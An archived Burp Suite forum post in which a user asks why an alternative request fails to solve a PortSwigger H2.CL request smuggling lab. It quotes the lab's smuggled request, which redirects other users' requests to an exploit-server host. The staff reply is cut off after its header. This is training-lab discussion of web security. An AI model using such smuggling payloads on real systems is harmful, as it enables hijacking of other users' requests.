Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Why cant lab "H2.CL request smuggling" be solved this way?

Sebastian | Last updated: Feb 08, 2023 06:08PM UTC

Hey! I see the solution to the lab involves the following smuggled request: GET /resources HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Length: 5 x=1 I understand that this will grab two chars from the next request and make the GET to resources. Wouldnt the same behaviour happen if I smuggle the following request? GET /resources HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net X-Ignore: X If doing so, I receive a permanent redirect but to the lab, and not to my exploit server. Thank you so much.

Hannah, PortSwigger Agent | Last updated: Feb 15, 2023 10:53AM UTC